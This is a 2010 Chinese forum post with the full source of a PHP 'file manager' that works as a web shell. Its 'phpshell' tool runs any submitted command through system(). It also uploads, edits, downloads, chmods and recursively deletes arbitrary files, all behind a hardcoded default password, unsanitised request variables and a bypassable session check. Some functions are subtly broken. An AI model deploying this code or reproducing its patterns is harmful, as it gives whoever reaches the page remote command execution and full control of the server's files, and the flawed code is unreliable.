灰儿 发表于 2010-3-3 15:22:21

PHP文件管理器V1.6a

本帖最后由 灰儿 于 2010-3-3 17:18 编辑

PHP文件管理器

<?
$pagestartime=microtime();
ob_start("ob_gzhandler");
/*
ID设计 PHP文件管理器v1.6版
作者:咖啡(coffee)
主页:http://idlerdesign.yeah.net
欢迎各位PHP爱好者对本程式进行优化 和改进。但请保留页面中原作者相关文字。
在此感谢落伍者论坛(http://im286.com) 在那里学的不少东西。
*/
////////////////////////////////////////登陆密码//////////////////////////////////////////////////////////////
$adminpass='coffee';//登陆密码!!!!
////////////////////////////////////////////////////////////////////////////////////////////////////////////
?>
<?
session_start();
if($pass!="")
{session_register(okpwd);
$okpwd=$password;
}
if($okpwd!=$adminpass)
{
echo"
<table width=\"233\" border=\"0\" cellspacing=\"1\" cellpadding=\"1\" bgcolor=\"#000000\" height=\"45\">
<tr>
<td bgcolor=\"#CCCCCC\" height=\"7\" align=\"center\"><font size=\"2pt\">文件管理登陆</font></td>
</tr>
<tr>
<form method=\"post\" action=\"\">
<td bgcolor=\"#FFFFFF\" align=\"center\" height=\"9\"><font size=\"2\"> 密码
<input type=\"password\" name=\"password\" maxlength=\"22\" size=\"17\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
</font>
<input type=\"submit\" name=\"pass\" value=\"登陆\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
</td>
</form>
</tr>
</table>
";
}
else
{
?>
<?
if($tools==phpshell)
{
echo"
<html>
<head>
<title>ID文件管理器 phpshell工具v1.0bate</title>
<style type=\"text/css\">
<!--
.forn { font-family: \"宋体\"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
a:hover { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
a:visited { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
-->
</style>
</head>
<body bgcolor=\"#999999\" leftmargin=\"5\">
<center>
";?>
<?
echo"<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"1\" bgcolor=\"#000000\" class=\"forn\">
<form name=\"\" action=\"\" method=\"post\">
<tr><td bgcolor=\"#CCCCCC\" align=\"left\">命令:
<input type=\"text\" name=\"command\" size=\"50\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
<input type=\"submit\" value=\"运行\" name=\"submit\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
phpshell工具 1.0bate <a href=\"javascript:location.reload()\">刷新</a>
</td></tr><tr><td bgcolor=\"#FFFFFF\" align=\"left\">
<textarea cols=\"93\" rows=\"22\" readonly name=\"textarea\" style=\"font-size:9pt;background-color:#ffffff;border: 0px \">";
if (!empty($command)) {
system($command);
}
echo"
</textarea>
</td></tr></form></table>";
?>
<?
}
elseif($tools==editfileperm) //编辑文件属性
{
echo"
<html>
<head>
<title>ID文件管理器 phpshell工具v1.0bate</title>
<style type=\"text/css\">
<!--
.forn { font-family: \"宋体\"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
a:hover { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
a:visited { font-family: \"宋体\"; font-size: 9pt; text-decoration: none}
-->
</style>
</head>
<body bgcolor=\"#999999\" leftmargin=\"5\">
<center>";

$perm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
echo"
<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"1\" bgcolor=\"#000000\" class='forn'>
<form method=\"post\" action=\"?dir=$dir&fileperm=$fileperm\">
<tr><td bgcolor=\"#CCCCCC\" height=\"5\" align=\"left\">文件属性修改工具 <a href=\"?dir=$dir\">反回</a></td>
</tr><tr><td bgcolor=\"#FFFFFF\" height=\"7\" align=\"center\"> $fileperm 文件属性为:
<input type=\"text\" name=\"perming\" value=\"$perm\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
<input type=\"submit\" name=\"editperm\" value=\"修改\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
<input type=\"reset\" value=\"重置\" style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
文件属性值请用八进制.如: 0777.0666</td>
</tr> </form>
</table>



";
}
else
{
?>
<?
if ($downfile) {
if (!@is_file($downfile))
echo"你要下的文件不存在";
$filename = basename($downfile);
$filename_info = explode('.', $filename);
$fileext = $filename_info;
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($downfile);
exit;
}
?>


<?php
if($dir=="")
$dir="./";
?>

<html>
<head>
<title>ID PHP文件管理器 Powrerd by 咖啡</title>
<style type="text/css">
<!--
.forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
-->
</style>
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
</head>
<body bgcolor="#999999" leftmargin="5">
<center>
<?
if ($editfile!=""&&$action!='copy'&&$n=='1'||$newfile!="")//编辑文件窗口
{
if($newfile==""){
$filename = "$dir/$editfile";
$fd = fopen( $filename, "r" );
$contents = fread($fd, filesize($filename));
fclose( $fd );
$contents= str_replace("/textarea>","//textarea>",$contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
echo"
<form name='edit' method='post' action=''>
<font size='2'> 目前正在编辑文件名:</font>
<input type='text' name='editfilename' style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\" value=$editfile>
<font size='2'> (你可以给文件改名) 复制:</font>
<input type='checkbox' name='copy' value='1'>
<font color=red size='2'>注意事件:选中复制后,需给新的文件改名,原文件内容不会变!</font><br>
<textarea name='editfiletxt' cols='110' rows='26' style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">$contents </textarea>
<br>
<input type='hidden' name='action' value='copy'>
<input type='submit' value='提交'style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\" >
<input type='reset' value='重置' style=\"font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000\">
</form>";
}

else
{
?>


<table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid;BORDER-top: #000000 1px solid;" width="100%" border="0" cellspacing="0" cellpadding="1" bgcolor="#CCCCCC">
<tr>
<td class="forn" width="73%">程序目录:
<?
$path="";
$pathname=str_replace('\\','/',dirname(__FILE__));
echo "<a href='?'>$pathname</a>";?>
服务器IP;<? echo getenv("SERVER_ADDR");?> <font color="#FFFFFF"></font><span class="forn"><font color="#FF0000">
I</font><font color="#0000FF">D</font><font color="#9900CC">设计</font>
<font color="#666666">PHP文件管理器 v1.6b</font></span></td>
<td class="forn" width="27%"><span class="forn">特殊工具: <a href="#" onClick="MM_openBrWindow('?tools=phpshell','ID文件管理器phpshell工具','width=600,height=400')">phpshell</a></span></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#000000" class="forn">
<form enctype="multipart/form-data" action="?dir=<? echo"$dir";?>" method="post" name=fm class="forn">
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" bgcolor="#CCCCCC"><font size="2">请选择文件:
</font></td>
<td width="59%"><font size="2">
<input name="userfile" type="file" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
</font></td>
<td rowspan="5" align="left" valign="top" width="27%">
<?
if(!$userfile&&!$delfile&&!$deldir&&!$mkdir&&!$editfile&&!$editperm&&!$action)
{
echo"<font color=red>PHP版本:</font>php";
echo PHP_VERSION."<br>";
echo"<font color=red>操作系统:</font>";
echo PHP_OS."<br>";
echo"<font color=red>解译引擎:</font>";
echo getenv("SERVER_SOFTWARE")."<br>";
echo"<font color=red>脚本超时时间:</font>";
echo get_cfg_var("max_execution_time")."秒<br>";
echo"<font color=red>服务器端口:</font>";
echo getenv("SERVER_PORT");
echo"<font color=red> 空间大小:</font>";
echo @intval(diskfreespace("/") / (1024 * 1024)).'Mb<br>';
echo"<font color=red> 可上传最大单文件:</font>";
echo get_cfg_var("upload_max_filesize").'<br>';
echo"<font color=red> 安全模式:</font>";
if (get_cfg_var("safe_mode"))echo"打开";
else echo"关闭";

} ?>
<?
if(@$userfile!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(@$lastname!="")
{
$lastname=$lastname;
}
else
$lastname=$userfile_name;
if(file_exists("$filedir/$lastname")=="1")
echo"同名文件存在,请换个名子上传";
else
{
copy($userfile,"$filedir/$lastname");
echo $userfile_name."--该文件的原始名称<br>";
echo $lastname."上传后的名称<br>";
echo $userfile_size."--上传文件的实际字节数<br>";
echo $userfile_type."-文件类型";
echo "<p>〖<a href='$filedir/$userfile_name' target='_blank'>看看</a>〗";
}
echo "〖<a href='javascript:history.back(1)'>返回</a>〗";

}
?>
<?php
if($delfile!="")
{
if(file_exists($delfile))
{

@unlink($delfile);
}
else{
$xx="1";
echo "文件已不存在<br>";
}
if(!file_exists($delfile)&&$xx!="1")
echo"删除成功";
else
echo"删除失败";
}
?>
<?php
if($deldir!="")
{
$deldirs="$dir/$deldir";
if(file_exists("$deldirs")) //是否为空目录检测
{
$mydir=dir($deldirs);
while($files=$mydir->read())
{
$i=$i+1;
if($i>2)break;
}
$mydir->close(); //不关闭,后面就不能删除了。晕。总是忘。费了好大功夫才找出来
}
if(file_exists("$deldirs")&&$i==2)
{
chmod("$deldirs",0777);
rmdir("$deldirs");
$xy="1";
}
if($i>2)
echo"<font color=red>此目录里面有文件,如果要将整个目录全部删除,请点---> <a href='?dir=$dir&deldir=$deldir&deltree=$deldir'>删除整个目录</a></font>";


if(!file_exists("$deldirs"))echo"目录不存在!";
if($xy=="1")echo"删除完必,";
}
?>
<?
if($mkdir)
{
$mkdirs="$dir//$mkdir";
if(file_exists("$mkdirs"))
echo"该目录存在";
else
{
mkdir("$mkdirs",0777);
if(file_exists("$mkdirs"))
echo"目录创建成功";
else
echo"目录创建失败";
}
}

?>
<?
if($deltree!=""&&$deldir!="")
{
if($deltree==$deldir)
{
$deldirs="$dir/$deltree";
if(file_exists("$deldirs"))
{
deltree($deldirs);
echo"删除整个目录完必!<br>";
}else
echo"文件已不存在!<br>";
}
else
echo"错误操作!!<a href='javascript:history.back(1)'>反回</a>";
}

?>
<?
//编辑文件部分
if ($editfile!=""||$editfilename!="")
{
if($editfile!="")$filename1="$dir/$editfile";
else $editfile=$editfilename;
$filename="$dir/$editfilename";
if($copy!="1")
{
$editfiletxt=stripslashes("$editfiletxt");
$editfiletxt= str_replace("//textarea>","/textarea>",$editfiletxt);
writetofile("$filename","$editfiletxt");
if($editfile!=$editfilename)unlink($filename1);
if(file_exists($filename))
{
echo"写入成功";
}
elseif(!file_exists($filename))echo"失败";
}
if($copy=="1"&&$editfile==$editfilename)
{
echo"您要复制?可没有给新的文件改个名字,现在两个文件名相同,请<a href='javascript:history.back(1)'>返回</a>";
}
elseif($copy=="1"&&$editfile!=$editfilename){
echo"开始复制...<br>";
$lastfilename="$dir/$editfilename";
$editfiletxt=stripslashes("$editfiletxt");
$editfiletxt= str_replace("<//textarea>","</textarea>",$editfiletxt);
writetofile("$lastfilename","$editfiletxt");
if(file_exists($lastfilename))echo"写入成功";
elseif(!file_exists($lastfilename))echo"失败";
}}
?>

<?if($editperm!="")//编辑属性部分
{


@chmod("$dir/$fileperm","$perming");

@$lastperm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
echo"文件修改后的属性为$lastperm";
}
?>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" bgcolor="#CCCCCC"><font size="2">文件上传的目录:
</font></td>
<td width="59%"><font size="2">
<input type="text" name="filedir" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value="<? echo"$dir";?>">
请用服务器上相对目路径</font></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" height="3" bgcolor="#CCCCCC"><font size="2">上传后的文件名:</font>
</td>
<td width="59%" height="3">
<input type="text" name="lastname" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
可不写 <font size="2">(注意,请在后面加后缀名!如:name.zip)</font></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" bgcolor="#CCCCCC"> </td>
<td width="59%">
<input type="submit" value="上传" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="reset" name="Submit" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="2" bgcolor="#CCCCCC" height="2">还有很多功能我正在想,尽量将这个文件功能变的更强大.请提出建议
mail:<a href="mailto:phpcoffee@hotmail.com%20">phpcoffee@hotmail.com
</a></td>
</tr>
</form>
</table>
<table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid" width="100%" border="0" cellspacing="0" cellpadding="1" class="forn" bgcolor="#FFFFFF">
<form name="t" method="get" action="" class="forn">
<tr>
<td height="7"> <span class="forn">当前路径:
<? echo $NowDir = getMyPath($pathname, $dir);?>
</span> 磁盘:
<input type="text" name="dir" size="2"style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="submit" value="转换" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" name="t">
如:c:盘符,.</td>
</tr>
</form>
</table>
<span class="forn"> </span>
<table width="100%" border="0" cellspacing="1" cellpadding="1" class="forn" bgcolor="#000000" height="44">
<tr bgcolor="#CCCCCC">
<form method="post" action="?dir=<?echo"$dir";?>">
<td width="29%" height="12"> 目录:
<input type="text" name="mkdir" size="15" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="submit" value="创建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
</td>
</form>
<form method="post" action="?action=newsfile&dir=<?echo"$dir";?>">
<td width="71%" height="12"> 文件:

<input type="text" name="newfile" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
<input type="submit" value="新建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</td>
</form>
</tr>
<tr bgcolor="#FFFFFF">
<td width="29%" align="left" valign="top" height="9">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
<tr align="center">
<td height="14" width="63%" align="left">目录名称</td>
<td height="14" width="18%">属性</td>
<td height="14" width="19%">操作</td>
</tr>
</table>
<?php
@$dirs=opendir($dir);
while (@$file=readdir($dirs)) {
@$b="$dir/$file";
@$a=is_dir($b);
if($a=="1"){
if($file!=".."&&$file!=".")
{
$fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
echo "<table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn' onMouseOut=\"this.bgColor='#ffffff';\"
onMouseOver=\"this.bgColor='#cccccc';\"><tr>
<td width='60%'>□ <a href='?dir=$dir/$file'>$file</a></td>
<td width='15%'><a href='?dir=$dir&fileperm=$file&tools=editfileperm'>$fileperm</a></td>
<td width='15%'><a href='?dir=$dir&deldir=$file'>删除</a></td></tr></table>";
}
else
{
if($file=="..")
echo "↑<a href='?dir=$dir/$file'> 上级目录</a>";
}
}
}
@closedir($dirs);
?>
</td>
<td width="71%" valign="top" align="left" height="9">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
<tr align="center">
<td width="34%" align="left">文件名称</td>
<td width="17%">时期</td>
<td width="22%">大小</td>
<td width="9%">属性</td>
<td width="18%">操作</td>
</tr>
</table>
<?php
@$dirs=opendir($dir);
while (@$file=readdir($dirs)) {
@$b="$dir/$file";
@$a=is_dir($b);
if($a=="0"){
@$size=filesize("$dir/$file");
@$size=$size/1024 ;
@$size= number_format($size, 3);

@$lastsave=date("Y-n-d H:i",filectime("$dir/$file"));
@$fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
echo "
<table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn' onMouseOut=\"this.bgColor='#ffffff';\"
onMouseOver=\"this.bgColor='#cccccc';\" >
<tr>
<td width='30%'><a href=$dir/$file target=_blank>$file</a> $isread </td>
<td width='22%'>$lastsave</td>
<td width='20%'>$size KB</td>
<td width='7%'><a href='?dir=$dir&fileperm=$file&tools=editfileperm'>$fileperm</a></td>
<td width='6%'><a href='?downfile=$dir/$file' target='_blank'>下载</a></td>
<td width='6%'><a href='?dir=$dir&editfile=$file&n=1'>编辑</a></td>
<td width='6%'><a href='?dir=$dir&delfile=$dir/$file'>删除</a></td>
</tr>
</table>";
}
}
@closedir($dirs);
?>
</td>
</tr><?}?>
</table>

<?}?> <table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid;BORDER-bottom: #000000 1px solid;" width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC" class="forn" height="9">
<tr>
<td height="17" width="49%">

<span class="forn">
<?php
$pageendtime=microtime();
$starttime=explode(" ",$pagestartime);
$endtime=explode(" ",$pageendtime);
$totaltime=$endtime-$starttime+$endtime-$starttime;
$timecost=sprintf("%s",$totaltime);
echo "<font color=red>页面运行时间:$timecost 秒 </font>";?>
</span> </td>
<td height="17" width="33%"><span class="forn"> </span></td>
<td height="17" width="18%" align="right"><span class="forn">Powered by
<a href="http://idlerdesign.yeah.net" target="_blank">咖啡</a></span></td>
</tr>
</table>
</center>
</body>
</html>
<?
}
?>

<?

function writetofile($filename,$book)
{
@$fd=fopen("$filename","w");
@fwrite($fd,$book);
@fclose($fd);
}


function deltree($TagDir) //整目录及文件删除
{
$mydir=dir($TagDir);
while($file=$mydir->read()){
if((is_dir("$TagDir/$file")) AND ($file!=".") AND ($file!=".."))
{
deltree("$TagDir/$file");
}
else
{
chmod("$TagDir/$file",0777);
@unlink("$TagDir/$file"); }

}
$mydir->close();
chmod("$TagDir",0777);
@rmdir($TagDir);
}




function getMyPath($mainpath, $relativepath)
{
global $dir;

$mainpath_info = explode('/', $mainpath);
$relativepath_info = explode('/', $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++) {
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
if ($relativepath_info[$i] == '..') {
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info = $relativepath_info[$i];
} //end for

return implode('/', $mainpath_info);
}

?>



页: [1]
查看完整版本: PHP文件管理器V1.6a